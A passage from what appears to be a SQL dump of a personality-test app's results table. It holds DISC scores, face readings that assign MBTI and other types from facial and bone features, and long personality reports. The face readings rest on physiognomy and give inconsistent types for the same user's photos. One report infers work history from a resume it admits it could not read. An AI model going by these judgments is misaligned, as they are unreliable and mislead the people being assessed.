**风险意识与细节耐心**\\n - 孔雀/I型 + ESTJ 容易偏向“自信+乐观+动作快”,忽略长期风险或技术细节。 \\n - 建议:\\n - 在重要决策中,引入“唱反调角色”; \\n - 固定加入一个“风险检查清单”(资金、合规、交付能力、人力等)。\\n\\n4. **压力管理与自我调节**\\n - 表面强势、理性的人,常常习惯“压住自己的情绪”,后期可能以易怒、控制欲、失眠等方式反弹。 \\n - 建议:\\n - 留出稳定的放空或运动时间,而不是一味靠高强度工作“顶住”;\\n - 在极度压力期,减少对他人语气和节奏的要求,把精力放在“关键少数”的任务上。\\n\\n---\\n\\n## 六、后续优化建议\\n\\n目前你的数据中,存在两种相反画像:\\n\\n- 面相:INTJ + D/C(冷静策略家,偏内向、理性、规划型)\\n- 测评:ESTJ + 孔雀 + I(外向、务实、善社交、组织执行型)\\n\\n但它们的“交集”很清晰: \\n**理性、组织力强、结果导向、有影响力、有一定控制欲。**\\n\\n接下来,如果你能提供:\\n- 生日(具体年月日)\\n- 简历中真实的工作经历:行业、岗位、年限、是否带团队、典型项目/业绩\\n\\n我可以再做一版“修正版画像”,重点从:\\n\\n1. 你的职业选择与晋升路径,验证你是更偏“战略规划型”,还是“执行管理+对人影响型”;\\n2. 从工作中的真实行为(冲突处理、挫折反应、换工作原因),验证你的抗压方式和真实价值观;\\n3. 结合生日,从“底色倾向”上进一步校正(例如偏权威/独立/合作/服务等)。\\n\\n你可以直接把简历文字版或关键经历发给我,我会基于上面的“初稿”做一次系统修正和升级。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773131684, 1773131684, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (102, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-10T08:37:27.414Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1773131847, 1773131847, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (103, 1, 'disc', '{\"scores\": {\"C\": 5, \"D\": 4, \"I\": 8, \"S\": 3}, \"answers\": {\"1\": \"I\", \"2\": \"D\", \"3\": \"I\", \"4\": \"I\", \"5\": \"C\", \"6\": \"I\", \"7\": \"I\", \"8\": \"D\", \"9\": \"S\", \"10\": \"C\", \"11\": \"I\", \"12\": \"C\", \"13\": \"C\", \"14\": \"D\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-03-10T08:42:24.893Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 25, \"D\": 20, \"I\": 40, \"S\": 15}, \"dominantType\": \"I\", \"testDuration\": 19, \"secondaryType\": \"C\"}', NULL, NULL, 0, 0, NULL, NULL, 1773132144, 1773132144, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (104, 1, 'resume', '{\"content\": \"下面先给出综合结论,再拆分说明。由于简历文件内容无法直接读取,以下分析主要基于: \\n- 面相AI:INTJ + PDP 老虎 / DISC D-C \\n- MBTI测评问卷:ESTJ(极端 E、S、T、J) \\n- PDP 测评:孔雀型(P85 + T15) \\n- DISC 测评:I 主导,次 C(I40%、C25%、D20%、S15%)\\n\\n可以看出,不同测评之间有明显矛盾: \\n- 有的结果偏「内向理性、战略规划型」(INTJ / D-C) \\n- 有的结果偏「外向表现、乐观影响型」(ESTJ + 孔雀 + I型) \\n\\n所以必须交叉取证,剥离「答题风格」「场景角色」带来的偏差,只保留稳定、相互印证的特征。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n**底色:理性 + 目标导向 + 主动外向的影响者**\\n\\n- 目标驱动,结果导向 \\n- 逻辑清晰,判断迅速 \\n- 现实务实,偏行动派 \\n- 外向表达,愿意影响和说服他人 \\n- 组织与掌控欲较强,有领导倾向 \\n- 情绪总体稳定,但有时会直接甚至强势 \\n- 既要「好结果」,又在意「别人怎么看」\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. 内外向:E 还是 I?\\n\\n- 面相/人脸:INTJ 倾向(独立思考、规划、冷静) \\n- MBTI 问卷:100% E,几乎没有 I \\n- PDP:孔雀型(极高外向表达、社交欲) \\n- DISC:I 型主导(善于沟通、表达)\\n\\n**综合判定**: \\n- 性格本质上偏「外向表达 + 主动影响」——不是安静型分析者 \\n- 但思考方式带有一定「理性、独立判断」特征,不是情绪化的纯社交型 \\n- 可推测: \\n - 内心需要通过「说」「讲」「带队」来影响环境,是典型 E \\n - 人前表现活跃、讲逻辑、人脉广; \\n - 但在关键判断时,会希望自己做主,独立思考后拍板,有一点「内向决策」的影子\\n\\n### 2. 思维方式:T vs F / 逻辑 vs 情感\\n\\n- MBTI:T 极高,F 接近 0 \\n- 面相:逻辑分析、理性思维 \\n- PDP/ DISC:孔雀 / I 型往往偏情绪感染力强,但你的组合里同时有 Tiger / C、D 成分\\n\\n**综合判定**: \\n- 决策底层以「对错、利弊、效率、结果」为主,而非「感受、公平、关系和谐」 \\n- 善于用数据、事实、逻辑说明观点,但会带一点情绪、鼓动性 \\n- 对自己要求高,也会对别人有明显标准,容忍度有限 \\n- 在关系中,更多是「我帮你解决问题」,而不是「我陪你情绪共鸣」\\n\\n### 3. 结构度与执行:J + D/C 一致性很高\\n\\n- MBTI:J 极强(偏有计划、有秩序的处事方式) \\n- 面相:战略规划、系统性思考 \\n- DISC:C+D 均有一定比例(25+20),说明: \\n - 注重质量、细节、规范(C) \\n - 同时又有推动、拍板的一面(D)\\n\\n**综合判定**: \\n- 做事讲流程、讲计划、喜欢可控性,不爱「走一步看一步」 \\n- 能从全局拆分任务,设置节点和标准 \\n- 对执行要求严格,不喜欢拖沓、反复 \\n- 遇到模糊情况,会本能地想「先定规则/先搭框架」,再推动落实\\n\\n### 4. 情绪与压力反应\\n\\n从 D + C + T + 目标导向推测:\\n\\n- 面对压力,会先顶住、硬扛,通过加快节奏、强化控制来应对,而不是退缩 \\n- 高标准 + 责任感,会让你在关键项目中很能扛事,但长期容易: \\n - 自我压力过大 \\n - 对他人不耐烦,语气变硬、控制欲上升 \\n- 情绪表达方式: \\n - 不太习惯示弱或公开表达脆弱 \\n - 一般以「工作指令」「问题讨论」的形式释放情绪(例如提高语速、语气变直)\\n\\n### 5. 真实偏好 vs 测试标签矛盾的原因推测\\n\\n- INTJ(面相)+ ESTJ(问卷)+ 孔雀/老虎(PDP)+ I/C (DISC) \\n- 可以推断: \\n - 底层是:**逻辑型、结果型、组织型** \\n - 外显行为是:**外向、有号召力、善于动员与说服** \\n- 问卷中极端的 E/S/T/J 可能反映了你「在职场角色中的自我期望」: \\n - 认为自己应该外向、坚决、指挥型、很能扛 \\n- 面相中的 INTJ 则反映: \\n - 内心仍需要一定独处空间做深度思考 \\n - 有规划和策略性,而不是只靠人脉与情绪\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格(做事习惯)\\n\\n- **偏任务导向**:看到的是目标、节点和资源,而不是先想到「大家开不开心」 \\n- **强推动力**:喜欢把事情往前赶,看不到进度会焦虑 \\n- **决策方式**: \\n - 快速收集信息 → 分析利弊 → 果断拍板 \\n - 不喜欢长时间拉扯和模糊 \\n- **对细节与标准有要求**: \\n - 对数字、流程、结果质量敏感 \\n - 在执行层面,有时会下意识地「自己盯得很紧」 \\n- **时间观念强**:守时、希望别人也守时,拖延会让你非常不爽\\n\\n### 2. 人际与沟通风格\\n\\n- **主动开场、主动带节奏**:会议上倾向于主持议题、推动讨论,而不是一直沉默 \\n- **表达直接、逻辑清晰**: \\n - 喜欢讲「逻辑+结论」,不爱绕圈 \\n - 容易给人「强势」「有压迫感」的印象,尤其对执行不到位的人 \\n- **说服路径**: \\n - 用事实、案例、数据 + 一定情绪感染(鼓舞式或高压式) \\n- **社交偏好**: \\n - 场合中能自如社交、建立关系 \\n - 但选择深度合作伙伴时,更看重对方能力与专业,而非单纯投缘\\n\\n---\\n\\n## 四、优势亮点\\n\\n1. **综合领导力潜质** \\n - 目标感强 + 推动力强 + 组织规划能力 \\n - 能同时「看全局」和「盯过程」 \\n - 适合在项目型、结果导向强的岗位担任负责人或关键骨干\\n\\n2. **逻辑与执行结合** \\n - 不是只会讲战略的空谈型,也不是只会干活的执行型 \\n - 能把复杂问题拆解为可执行步骤,安排人、定标准、定时间\\n\\n3. **沟通与影响力强** \\n - 具备孔雀/I型的表达力和感染力 \\n - 适合做跨部门协调、客户沟通、对上汇报、对下动员\\n\\n4. **高抗压与责任感** \\n - 在关键任务中,敢接难活,有「我来」的担当 \\n - 抗压方式偏「迎难上」,能在压力下保持理性判断\\n\\n5. **学习与迭代能力** \\n - T + C 特质使你愿意学习新方法、复盘问题 \\n - 会不断调整自己的策略和做事方式,以追求更高效的结果\\n\\n---\\n\\n## 五、可提升方向(有针对性的建议)\\n\\n1. **柔化表达方式,减少无意的压迫感** \\n - 问题不在逻辑,而在「语气与时机」: \\n - 在给反馈前先简短肯定,再指出问题 \\n - 避免在公开场合直接、尖锐地挑战个人,更聚焦问题和方案 \\n - 目标:同样的观点,用更让人「愿意接受」的方式表达\\n\\n2. **容忍差异、提升耐心** \\n - 你的节奏和标准往往高于平均值 \\n - 建议: \\n - 区分「必须做到」和「可以妥协」的标准 \\n - 对节奏慢、风格不同的同事,多用「提问式」而非「指责式」沟通: \\n - 「你现在最大困难是什么?」 \\n - 「我们一起看看怎么帮你提速?」\\n\\n3. **增强情感维度的领导力** \\n - 目前偏「任务+结果」领导方式 \\n - 可以刻意增加: \\n - 了解成员个人动机与压力 \\n - 在关键节点给予情绪支持,而不是只盯结果 \\n - 这会显著提升团队忠诚度和配合度\\n\\n4. **适当放权,避免过度控制** \\n - 强控制与高标准容易导致「事事亲力亲为」 \\n - 建议建立: \\n - 清晰的目标和检查节点 \\n - 把过程决策权交给团队,让别人也承担结果 \\n - 有助于你从「高级执行者」升级为「真正的管理者」\\n\\n5. **给自己预留「独处思考」时间** \\n - 虽然外向,但面相/INTJ 指向你有不小的「深度思考」需求 \\n - 建议在节奏很快的工作中,给自己固定的: \\n - 每周1-2次,1-2小时的独立思考时间,用于:复盘、规划、思考长期方向 \\n - 有利于你避免陷入只顾执行、不看方向的忙碌状态\\n\\n---\\n\\n### 总结一句话画像\\n\\n一个以结果和逻辑为核心、外向主动、有号召力的组织者型人才:在高压环境中能扛事、能带队、能推动复杂任务落地;同时需要在表达柔和度、对他人差异的耐心以及情感链接上做适度升级,以从「强势的执行型领导」成长为「兼具温度与格局的成熟管理者」。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773132629, 1773132629, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (105, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、规划导向,擅长在安静环境中深度思考与系统决策。重视长期价值,执行风格低调克制但持续有力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg\"], \"boneAnalysis\": \"骨骼线条偏方正厚实,中停与下停力量感足,格局偏稳健持久型,重视现实落地。\", \"faceAnalysis\": \"额头与下颌饱满,眼神专注,鼻梁端正,整体给人理性、稳健而有耐性的印象。\", \"personalitySummary\": \"思维逻辑清晰,惯于独立判断与长期规划;情绪外露度低,人际中略带距离感;做事专注、有责任心,适合承担重要项目与关键决策角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773133602, 1773133602, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (106, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、心智缜密,重视规划与秩序,擅长长期目标推进与关键决策,适合承担核心职责。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg\"], \"boneAnalysis\": \"五官骨骼清晰、骨重肉薄偏金木形,相框修长有角度,颧骨内敛、下颌坚挺,显露决断力强、规划导向与持久执行力。\", \"faceAnalysis\": \"额头平阔顺滑,眼神专注克制,鼻梁挺直,嘴唇收敛有度,下颌线利落,整体给人理性稳重、专注内敛之感。\", \"personalitySummary\": \"思维逻辑严谨,做事计划性强,重视原则与底线,情绪外显度低但责任心重,适合独立思考与统筹复杂事务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137394, 1773137394, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (107, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静且目标感强,善于规划与统筹,做事稳健高效,适合承担关键决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg\"], \"boneAnalysis\": \"骨相匀称偏骨重,颧略内敛不外突,下颌骨线条利落,属木土兼具之稳健型,重视现实落地与长远积累。\", \"faceAnalysis\": \"额头平阔顺滑,眼神沉静专注,鼻梁端正细致,嘴唇收敛有度,下颌线清晰,整体给人理性自持、判断力强的气质。\", \"personalitySummary\": \"性格内敛理性,有清晰边界与责任心,重视秩序与规则,擅长独立思考与深度分析,对自我要求高,抗压稳定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137428, 1773137428, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (108, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,思维细腻有规划,重视内在原则与长期发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五官骨感清秀属木水形,骨肉匀称偏纤细,重直觉与思考,抗压方式以理性内耗消化为主。\", \"faceAnalysis\": \"额头偏高顺滑,眼神内敛专注,鼻梁细直,唇形柔和收敛,下巴略尖显敏感思辨。\", \"personalitySummary\": \"内向克制而有主见,重价值观与深度连接,做事谨慎有条理,擅长独立思考与长期规划,对情绪与环境变化较敏感。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773197744, 1773197744, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (109, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静偏内向,思考缜密,重视个人空间与专业深度,适合研究分析与策略规划类工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感适中偏纤细,五行偏木水形,骨肉匀称,思维敏捷重逻辑,抗压方式以理性分析和持续消化为主。\", \"faceAnalysis\": \"额头饱满、眼神内敛而专注,鼻梁清秀,嘴形柔和含蓄,下颌较尖,整体偏理性内向型气质。\", \"personalitySummary\": \"安静理性,独立思考力强,做事有条理而不急躁,情绪外显度低但内心细腻,偏向以专业与思考影响他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214222, 1773214222, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (110, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性细腻,思维缜密,内敛专注,情感深而有度,适合深度思考与策略规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称,颧骨不显而有支撑力,属韧性与耐力并存型,重思考胜过外放冲劲。\", \"faceAnalysis\": \"额形平顺,眼神温和内敛,鼻梁细直,唇形含蓄,下巴柔中带坚,整体偏理性内向与审慎气质。\", \"personalitySummary\": \"性格安静理性,重内在原则与价值观,做事有规划且追求完美,情绪稳定但表达含蓄,善体察他人并给予细腻支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214527, 1773214527, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (111, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性克制而细腻,重视长期目标与内在价值,做事安静专注,兼具温度与原则感。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨骼匀称偏细长,颧骨不外突、下颌略带角度,属稳健内敛型骨相,重思考与节奏掌控,抗压方式偏理性持久。\", \"faceAnalysis\": \"额头平润饱满、眉眼清澈专注,鼻梁秀直、唇形端正收敛,下颌线流畅,整体给人理性细腻且自律的气质。\", \"personalitySummary\": \"性格安静独立,思维细腻有条理,重视原则与边界;对人温和但有距离感,擅长深度思考与长期规划,适合需要专注与判断力的岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216325, 1773216325, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (112, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉静理性,心思细腻有担当,重视长期规划与自我提升,适合在稳定高标准环境中深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"面骨线条流畅不突兀,骨肉均匀偏细腻,颧区含而不露,下颌骨稳实,属稳健持久型格局,重视内在力量与长期累积。\", \"faceAnalysis\": \"额头饱满平整,眼神柔和专注,鼻梁顺直,唇形饱满收敛,下颌线清晰,整体给人理性内敛、稳重可靠之感。\", \"personalitySummary\": \"性格安静理智,思路清晰,有原则与边界感,做事细致有耐心,擅长在低调中持续发力并稳定完成高标准任务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216370, 1773216370, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (113, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略清晰,目标导向强,善于规划与统筹,在稳定环境中能持续输出高质量成果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"骨相偏金木形,骨架分明而不过分外露,颧骨内敛、下颌有角度,属稳健理性型格局,重视原则与秩序,抗压持久。\", \"faceAnalysis\": \"额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰,整体给人冷静自持、内敛坚决之感。\", \"personalitySummary\": \"性格内敛克制,思维逻辑性强,做事计划周密而节奏稳健,倾向独立思考与深度研究,人际中保持适度距离但值得信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216421, 1773216421, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (114, 28, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重务实,责任感强,做事踏实细致,重视家庭与长期稳定,适合在熟悉领域深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg\"], \"boneAnalysis\": \"骨量适中偏厚,下颌圆厚承载力强,颧骨不张主守成,属土形稳健格局,重视现实与稳定。\", \"faceAnalysis\": \"额头饱满,下庭厚实,眼神内敛稳重,鼻梁端正,嘴型含蓄收敛,整体给人踏实可靠之感。\", \"personalitySummary\": \"性格内敛沉稳,重责任与承诺,做事耐心细致,抗压能力好,偏向长期投入与稳健发展路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218013, 1773218013, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (115, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健细致、有责任感与执行力,重视规则与现实结果,适合长期深耕与稳步进阶。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨相偏土形,骨肉均衡,颧骨内敛不外露,下颌有力,格局务实稳健。\", \"faceAnalysis\": \"额头宽阔鼻梁端正,下巴饱满,眼神沉稳,整体五官偏实在稳重型。\", \"personalitySummary\": \"性格务实内敛,重视承诺与责任,做事耐心细致,抗压性强,更偏向脚踏实地稳步推进型。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218078, 1773218078, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (116, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"谨慎稳健、责任心强,注重现实与细节,适合在稳定结构中承担关键职责并长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨架偏厚重、颧区内敛、下颌有力,属土形稳健格局,抗压持久,重实际执行与长期承载。\", \"faceAnalysis\": \"额头宽平、眼神沉稳、鼻梁端正、下颌厚实,整体给人理性踏实、重承诺有耐力的印象。\", \"personalitySummary\": \"性格内敛理性、有原则感与责任心,做事踏实有规划,重承诺与结果,适合在规则清晰的体系中长期负责重要模块。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218176, 1773218176, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (117, 1, 'resume', '{\"content\": \"下面的分析,会把你给到的多源信息(简历+人脸&骨相分析+MBTI 两套结果+PDP+DISC)做“去噪”和交叉验证,不按某一份测评的标签生搬硬套,而是抽取其中彼此印证的部分。\\n\\n---\\n\\n## 一、核心性格关键词(综合结论)\\n\\n- 冷静理性、重逻辑 \\n- 计划性强、组织导向 \\n- 目标结果导向,执行力稳定 \\n- 内在自我要求高,抗压持久 \\n- 外在沟通存在“社交/表现”一面(可切换出场) \\n- 情绪表达相对克制,不喜无效社交 \\n- 信任建立慢,但一旦认定就稳定可靠 \\n\\n整体更像:**理性驱动的组织者 + 可控输出的影响者**,而不是典型“高情绪化、随性”的孔雀型。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 生日 & 面相骨相信息带来的“底色”\\n\\n你给出的面相/骨相描述中,有几条很关键:\\n\\n- “额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰” \\n- “整体给人冷静自持、内敛坚决之感” \\n- “骨相偏金木形…属稳健理性型格局,重视原则与秩序,抗压持久”\\n\\n去掉玄学解释,从心理与行为特征上可提炼为:\\n\\n- **偏理性+克制**:天然会先观察、判断,再行动;不易情绪化爆发。\\n- **原则意识强**:在规则、秩序、底线这类问题上比较硬,容易成为团队里的“标准制定者/捍卫者”。\\n- **意志与抗压能力较强**:遇到压力时,更倾向于咬牙扛住&自己消化,而不是大幅情绪外露。\\n- **自我要求高**:下颌线清晰 +收敛嘴型,对自我控制与结果质量有一定要求。\\n\\n这与“理性冷静、谋略清晰,目标导向强”的面部性格描述基本一致,为后面“偏T、偏J”的人格取向提供了底层支撑。\\n\\n---\\n\\n### 2. 工作经历维度(推断)\\n\\n由于简历图片内容看不到,但可结合你给出的整体测评倾向做合理推断:\\n\\n- MBTI(系统测评版):**ESTJ,E/T/S/J都极度偏向一端(100%)** \\n- DISC:**I 主 C 次,D 也不低(20%)** \\n- PDP:**孔雀 85% + 老虎 15%**\\n\\n能够拿到这样一组结果,一般意味着在工作场景中,你:\\n\\n1. **经常处在“对人+对事并重”的位置** \\n - 有一定管理/协调/组织职责:带团队、协调资源、沟通多方。\\n - 必须对业绩/结果负责:对目标、时间节点、执行落地非常敏感。\\n\\n2. 